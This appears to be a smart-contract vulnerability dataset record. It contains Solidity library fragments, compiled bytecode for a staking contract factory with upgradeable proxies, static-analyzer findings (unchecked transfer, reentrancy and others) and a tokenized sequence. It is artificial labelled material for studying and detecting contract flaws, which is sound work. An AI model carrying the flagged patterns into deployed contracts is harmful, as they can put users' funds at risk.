target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x60806040523480156200001157600080fd5b5060043610620000525760003560e01c8063715018a614620000575780638da5cb5b1462000063578063d9d42db41462000083578063f2fde38b14620000c5575b600080fd5b62000061620000dc565b005b6000546040516001600160a01b0390911681526020015b60405180910390f35b6200009a620000943660046200060c565b62000193565b604080516001600160a01b03948516815292841660208401529216918101919091526060016200007a565b62000061620000d6366004620005e8565b6200045f565b6000546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008080336001600160a01b0316620001b46000546001600160a01b031690565b6001600160a01b0316146200020c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000133565b60006040516200021c90620005a1565b604051809103906000f08015801562000239573d6000803e3d6000fd5b50905060006040516200024c90620005af565b604051809103906000f08015801562000269573d6000803e3d6000fd5b509050600082826040516200027e90620005bd565b6001600160a01b03928316815291166020820152606060408201819052600090820152608001604051809103906000f080158015620002c1573d6000803e3d6000fd5b506040517f610714060000000000000000000000000000000000000000000000000000000081526001600160a01b038b811660048301528a81166024830152604482018a90529192508291821690636107140690606401600060405180830381600087803b1580156200033357600080fd5b505af115801562000348573d6000803e3d6000fd5b505060405163f2fde38b60e01b81523360048201526001600160a01b038416925063f2fde38b9150602401600060405180830381600087803b1580156200038e57600080fd5b505af1158015620003a3573d6000803e3d6000fd5b505060405163f2fde38b60e01b81523360048201526001600160a01b038616925063f2fde38b9150602401600060405180830381600087803b158015620003e957600080fd5b505af1158015620003fe573d6000803e3d6000fd5b5050604080516001600160a01b038881168252858116602083015287168183015290517fa75b12445442c27c63f651655fd5ecfbc4e562e358b6c615af1f9da3bd10de899350908190036060019150a1929992985090965090945050505050565b6000546001600160a01b03163314620004bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000133565b6001600160a01b038116620005395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840162000133565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b611758806200064d83390190565b6109398062001da583390190565b610fc180620026de83390190565b80356001600160a01b0381168114620005e357600080fd5b919050565b600060208284031215620005fa578081fd5b6200060582620005cb565b9392505050565b60008060006060848603121562000621578182fd5b6200062c84620005cb565b92506200063c60208501620005cb565b915060408401359050925092509256fe608060405234801561001057600080fd5b50611738806100206000396000f3fe608060405234801561001057600080fd5b50600436106101a35760003560e01c80638456cb59116100ee578063a694fc3a11610097578063c046371111610071578063c04637111461033d578063e374b09014610346578063f2fde38b14610359578063fbaf3c411461036c576101a3565b8063a694fc3a1461030f578063aead9e4714610322578063bb17e3301461032a576101a3565b80639d139062116100c85780639d139062146102e0578063a16f5fd2146102f3578063a648f7d7146102fc576101a3565b80638456cb59146102be5780638ae39cac146102c65780638da5cb5b146102cf576101a3565b806343b0215f11610150578063610714061161012a5780636107140614610290578063715018a6146102a35780637488ab78146102ab576101a3565b806343b0215f1461020557806351ed6a301461024f5780635c975abb1461027a576101a3565b80632c0316b3116101815780632c0316b3146101ec578063372500ab146101f55780633f4ba83a146101fd576101a3565b806301f8a976146101a85780630b97bc86146101bd578063155dd5ee146101d9575b600080fd5b6101bb6101b6366004611618565b61037f565b005b6101c6609d5481565b6040519081526020015b60405180910390f35b6101bb6101e7366004611618565b6103ec565b6101c6609c5481565b6101bb610578565b6101bb6106c9565b61023461021336600461154d565b609e6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101d0565b609754610262906001600160a01b031681565b6040516001600160a01b0390911681526020016101d0565b60655460ff1660405190151581526020016101d0565b6101bb61029e366004611570565b61072d565b6101bb610839565b6101bb6102b9366004611604565b61089d565b6101bb6109fc565b6101c660995481565b6033546001600160a01b0316610262565b609854610262906001600160a01b031681565b6101c6609a5481565b6101c661030a36600461154d565b610a5e565b6101bb61031d366004611618565b610a79565b6101bb610bee565b6101c66103383660046115b0565b610c0f565b6101c6609b5481565b6101c6610354366004611648565b610cf4565b6101bb61036736600461154d565b610dea565b6101c661037a36600461154d565b610ecc565b6033546001600160a01b031633146103de5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103e6610fa1565b50609955565b6103fc6103f7610fa1565b610fe8565b336000908152609e6020526040902054818110156104825760405162461bcd60e51b815260206004820152603260248201527f546f6b656e4661726d696e673a204e6f7420656e6f756768207374616b65642060448201527f746f6b656e7320746f207769746864726177000000000000000000000000000060648201526084016103d5565b61048c82826116c0565b336000908152609e6020526040812091909155609c80548492906104b19084906116c0565b909155505060975460405163a9059cbb60e01b8152336004820152602481018490526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561050257600080fd5b505af1158015610516573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053a91906115e4565b5060408051338152602081018490527f6352c5382c4a4578e712449ca65e83cdb392d045dfcf1cad9615189db2da244b910160405180910390a15050565b6105836103f7610fa1565b336000908152609e602052604081206002015461059f9061105a565b9050600081116105f15760405162461bcd60e51b815260206004820152601e60248201527f546f6b656e4661726d696e673a204e6f7468696e6720746f20636c61696d000060448201526064016103d5565b336000818152609e602052604080822060020191909155609854905163a9059cbb60e01b81526004810192909252602482018390526001600160a01b03169063a9059cbb90604401602060405180830381600087803b15801561065357600080fd5b505af1158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b91906115e4565b5060408051338152602081018390527ffc30cddea38e2bf4d6ea7d3f9ed3b6ad7f176419f4963bd81318067a4aee73fe91015b60405180910390a150565b6033546001600160a01b031633146107235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b61072b6110a5565b565b600054610100900460ff1680610746575060005460ff16155b6107a95760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103d5565b600054610100900460ff161580156107cb576000805461ffff19166101011790555b6107d3611141565b6107db6111fd565b609780546001600160a01b0380871673ffffffffffffffffffffffffffffffffffffffff19928316179092556098805492861692909116919091179055609982905542609d558015610833576000805461ff00191690555b50505050565b6033546001600160a01b031633146108935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b61072b60006112bf565b6033546001600160a01b031633146108f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b6097546001600160a01b038481169116141561097a5760405162461bcd60e51b8152602060048201526024808201527f4e6f7420706f737369626c6520746f207769746864726177207374616b65207460448201527f6f6b656e0000000000000000000000000000000000000000000000000000000060648201526084016103d5565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b1580156109c457600080fd5b505af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906115e4565b6033546001600160a01b03163314610a565760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b61072b61131e565b6000610a71610a6c83610ecc565b61105a565b90505b919050565b610a846103f7610fa1565b60655460ff1615610ad75760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016103d5565b336000908152609e602052604081208054839290610af6908490611669565b9250508190555080609c6000828254610b0f9190611669565b90915550506097546040517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b158015610b7f57600080fd5b505af1158015610b93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb791906115e4565b5060408051338152602081018390527fb539ca1e5c8d398ddf1c41c30166f33404941683be4683319b57669a93dad4ef91016106be565b336000908152609e6020526040902054610c07906103ec565b61072b610578565b6001600160a01b0383166000908152609e60205260408120548015610cec576000610c51609954609c54609a5461193261016d610c4c91906116a1565b6113a6565b90506000610c6b6a084595161401484a00000060646116a1565b6001600160a01b0388166000908152609e60205260409020600101548490610c9390856116c0565b610c9d91906116a1565b610ca79190611681565b9050610cb383876116a1565b610cc96a084595161401484a00000060646116a1565b610cd387846116a1565b610cdd91906116a1565b610ce79190611681565b935050505b509392505050565b609c546000908015610dde576098546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d959190611630565b9050610da185836116a1565b610db76a084595161401484a00000060646116a1565b610dc186846116a1565b610dcb91906116a1565b610dd59190611681565b92505050610de4565b60009150505b92915050565b6033546001600160a01b03163314610e445760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b6001600160a01b038116610ec05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103d5565b610ec9816112bf565b50565b609c54609b5460009190828115610ee35781610ee5565b435b91508215610f0657610f0360995484609a548543610c4c91906116c0565b90505b6001600160a01b0385166000908152609e602090815260409182902082516060810184528154808252600183015493820193909352600290910154928101839052918115610f9657610f646a084595161401484a00000060646116a1565b82846020015186610f7591906116c0565b610f7f91906116a1565b610f899190611681565b610f939082611669565b90505b979650505050505050565b609c54609b54600091908015610fb75780610fb9565b435b90508115610fdf57610fd760995483609a548443610c4c91906116c0565b609a81905592505b505043609b5590565b336000908152609e6020526040902080548015611053576110156a084595161401484a00000060646116a1565b8183600101548561102691906116c0565b61103091906116a1565b61103a9190611681565b82600201600082825461104d9190611669565b90915550505b5060010155565b6000609d5462c5c10061106d9190611669565b4210156110a15762c5c100609d544261108691906116c0565b61109090846116a1565b61109a9190611681565b9050610a74565b5090565b60655460ff166110f75760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016103d5565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600054610100900460ff168061115a575060005460ff16155b6111bd5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103d5565b600054610100900460ff161580156111df576000805461ffff19166101011790555b6065805460ff191690558015610ec9576000805461ff001916905550565b600054610100900460ff1680611216575060005460ff16155b6112795760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103d5565b600054610100900460ff1615801561129b576000805461ffff19166101011790555b6112a36113f5565b6112ab6114a6565b8015610ec9576000805461ff001916905550565b603380546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60655460ff16156113715760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016103d5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111243390565b600080846113c06a084595161401484a00000060646116a1565b6113ca90886116a1565b6113d49190611681565b9050836113e182856116a1565b6113eb9190611669565b9695505050505050565b600054610100900460ff168061140e575060005460ff16155b6114715760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103d5565b600054610100900460ff161580156112ab576000805461ffff19166101011790558015610ec9576000805461ff001916905550565b600054610100900460ff16806114bf575060005460ff16155b6115225760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016103d5565b600054610100900460ff16158015611544576000805461ffff19166101011790555b6112ab336112bf565b60006020828403121561155e578081fd5b8135611569816116ed565b9392505050565b600080600060608486031215611584578182fd5b833561158f816116ed565b9250602084013561159f816116ed565b929592945050506040919091013590565b6000806000606084860312156115c4578283fd5b83356115cf816116ed565b95602085013595506040909401359392505050565b6000602082840312156115f5578081fd5b81518015158114611569578182fd5b600080600060608486031215611584578283fd5b600060208284031215611629578081fd5b5035919050565b600060208284031215611641578081fd5b5051919050565b6000806040838503121561165a578182fd5b50508035926020909101359150565b6000821982111561167c5761167c6116d7565b500190565b60008261169c57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116bb576116bb6116d7565b500290565b6000828210156116d2576116d26116d7565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610ec957600080fdfea2646970667358221220ee7fbfc64a864cb457f455fa76f5e0283d8de25f58caa02ffd383cb6abe0427f64736f6c63430008030033608060405234801561001057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506108d8806100616000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead146101645761007b565b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b3660046106af565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d161022e565b005b3480156100df57600080fd5b506100d16100ee3660046106ee565b6102e4565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f366004610726565b6103b7565b34801561013057600080fd5b506100d161013f3660046106ee565b610491565b34801561015057600080fd5b506100d161015f3660046106af565b610532565b34801561017057600080fd5b506100a061017f3660046106af565b610670565b6000806000836001600160a01b03166040516101c3907f5c60da1b00000000000000000000000000000000000000000000000000000000815260040190565b600060405180830381855afa9150503d80600081146101fe576040519150601f19603f3d011682016040523d82523d6000602084013e610203565b606091505b50915091508161021257600080fd5b8080602001905181019061022691906106d2565b949350505050565b6000546001600160a01b0316331461028d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b0316331461033e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610284565b6040517f8f2839700000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561039b57600080fd5b505af11580156103af573d6000803e3d6000fd5b505050505050565b6000546001600160a01b031633146104115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610284565b6040517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b03841690634f1ef28690349061045a90869086906004016107f7565b6000604051808303818588803b15801561047357600080fd5b505af1158015610487573d6000803e3d6000fd5b5050505050505050565b6000546001600160a01b031633146104eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610284565b6040517f3659cfe60000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690633659cfe690602401610381565b6000546001600160a01b0316331461058c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610284565b6001600160a01b0381166106085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610284565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000806000836001600160a01b03166040516101c3907ff851a44000000000000000000000000000000000000000000000000000000000815260040190565b6000602082840312156106c0578081fd5b81356106cb8161088a565b9392505050565b6000602082840312156106e3578081fd5b81516106cb8161088a565b60008060408385031215610700578081fd5b823561070b8161088a565b9150602083013561071b8161088a565b809150509250929050565b60008060006060848603121561073a578081fd5b83356107458161088a565b925060208401356107558161088a565b9150604084013567ffffffffffffffff80821115610771578283fd5b818601915086601f830112610784578283fd5b8135818111156107965761079661085b565b604051601f8201601f19908116603f011681019083821181831017156107be576107be61085b565b816040528281528960208487010111156107d6578586fd5b82602086016020830137856020848301015280955050505050509250925092565b60006001600160a01b038416825260206040818401528351806040850152825b8181101561083357858101830151858201606001528201610817565b818111156108445783606083870101525b50601f01601f191692909201606001949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b038116811461089f57600080fd5b5056fea2646970667358221220b788eda291735a271713bb81b9113a5440753f9d3c9c565ff1ee7cc4d229d52d64736f6c63430008030033608060405260405162000fc138038062000fc18339810160408190526200002691620004d4565b82816200005560017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd62000603565b60008051602062000f7a833981519152146200008157634e487b7160e01b600052600160045260246000fd5b6200008f82826000620000ff565b50620000bf905060017fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610462000603565b60008051602062000f5a83398151915214620000eb57634e487b7160e01b600052600160045260246000fd5b620000f68262000170565b5050506200066c565b6200010a83620001cb565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806200014c5750805b156200016b576200016983836200029360201b6200027c1760201c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200019b620002c2565b604080516001600160a01b03928316815291841660208301520160405180910390a1620001c881620002fb565b50565b620001e1816200038b60201b620002a81760201c565b620002495760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806200027260008051602062000f7a83398151915260001b6200039560201b620002241760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060620002bb838360405180606001604052806027815260200162000f9a6027913962000398565b9392505050565b6000620002ec60008051602062000f5a83398151915260001b6200039560201b620002241760201c565b546001600160a01b0316905090565b6001600160a01b038116620003625760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840162000240565b806200027260008051602062000f5a83398151915260001b6200039560201b620002241760201c565b803b15155b919050565b90565b6060620003a5846200038b565b620004025760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840162000240565b600080856001600160a01b0316856040516200041f9190620005b0565b600060405180830381855af49150503d80600081146200045c576040519150601f19603f3d011682016040523d82523d6000602084013e62000461565b606091505b509092509050620004748282866200047e565b9695505050505050565b606083156200048f575081620002bb565b825115620004a05782518084602001fd5b8160405162461bcd60e51b8152600401620002409190620005ce565b80516001600160a01b03811681146200039057600080fd5b600080600060608486031215620004e9578283fd5b620004f484620004bc565b92506200050460208501620004bc565b60408501519092506001600160401b038082111562000521578283fd5b818601915086601f83011262000535578283fd5b8151818111156200054a576200054a62000656565b604051601f8201601f19908116603f0116810190838211818310171562000575576200057562000656565b816040528281528960208487010111156200058e578586fd5b620005a183602083016020880162000627565b80955050505050509250925092565b60008251620005c481846020870162000627565b9190910192915050565b6000602082528251806020840152620005ef81604085016020870162000627565b601f01601f19169190910160400192915050565b6000828210156200062257634e487b7160e01b81526011600452602481fd5b500390565b60005b83811015620006445781810151838201526020016200062a565b83811115620001695750506000910152565b634e487b7160e01b600052604160045260246000fd5b6108de806200067c6000396000f3fe60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146100a85780638f283970146100d9578063f851a440146100f95761006d565b80633659cfe6146100755780634f1ef286146100955761006d565b3661006d5761006b61010e565b005b61006b61010e565b34801561008157600080fd5b5061006b61009036600461076e565b610128565b61006b6100a3366004610788565b610174565b3480156100b457600080fd5b506100bd6101ea565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e557600080fd5b5061006b6100f436600461076e565b610227565b34801561010557600080fd5b506100bd610251565b6101166102b2565b610126610121610371565b610380565b565b6101306103a4565b6001600160a01b0316336001600160a01b0316141561016957610164816040518060200160405280600081525060006103d7565b610171565b61017161010e565b50565b61017c6103a4565b6001600160a01b0316336001600160a01b031614156101dd576101d88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103d7915050565b6101e5565b6101e561010e565b505050565b60006101f46103a4565b6001600160a01b0316336001600160a01b0316141561021c57610215610371565b9050610224565b61022461010e565b90565b61022f6103a4565b6001600160a01b0316336001600160a01b031614156101695761016481610436565b600061025b6103a4565b6001600160a01b0316336001600160a01b0316141561021c576102156103a4565b60606102a183836040518060600160405280602781526020016108826027913961048a565b9392505050565b803b15155b919050565b6102ba6103a4565b6001600160a01b0316336001600160a01b0316141561036c5760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b610126565b600061037b61057c565b905090565b3660008037600080366000845af43d6000803e80801561039f573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103e0836105a4565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806104215750805b156101e557610430838361027c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61045f6103a4565b604080516001600160a01b03928316815291841660208301520160405180910390a16101718161067b565b6060610495846102a8565b6105075760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e747261637400000000000000000000000000000000000000000000000000006064820152608401610363565b600080856001600160a01b0316856040516105229190610806565b600060405180830381855af49150503d806000811461055d576040519150601f19603f3d011682016040523d82523d6000602084013e610562565b606091505b509150915061057282828661071e565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6103c8565b6105ad816102a8565b61061f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e7472616374000000000000000000000000000000000000006064820152608401610363565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381166106f75760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610363565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103610642565b6060831561072d5750816102a1565b82511561073d5782518084602001fd5b8160405162461bcd60e51b81526004016103639190610822565b80356001600160a01b03811681146102ad57600080fd5b60006020828403121561077f578081fd5b6102a182610757565b60008060006040848603121561079c578182fd5b6107a584610757565b9250602084013567ffffffffffffffff808211156107c1578384fd5b818601915086601f8301126107d4578384fd5b8135818111156107e2578485fd5b8760208285010111156107f3578485fd5b6020830194508093505050509250925092565b60008251610818818460208701610855565b9190910192915050565b6000602082528251806020840152610841816040850160208701610855565b601f01601f19169190910160400192915050565b60005b83811015610870578181015183820152602001610858565b83811115610430575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cc3459c6e36ba60d0ea61f4ffff7f28d2cbb2dc98dc728c47e22fc60921becb764736f6c63430008030033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220420fe12edef9308282ea9409fb8ad60f8097d9f6cc496c06c65feb5e4d4bb36064736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 4783, 17134, 2549, 2278, 2509, 2497, 10790, 2549, 2546, 20958, 2683, 2050, 2509, 2546, 2692, 2094, 2549, 2063, 2575, 7011, 2581, 26224, 16932, 21084, 2487, 20952, 2546, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1017, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 24540, 1013, 13338, 1013, 13338, 6279, 24170, 3085, 21572, 18037, 1012, 14017, 1000, 1025, 12324, 102 ]
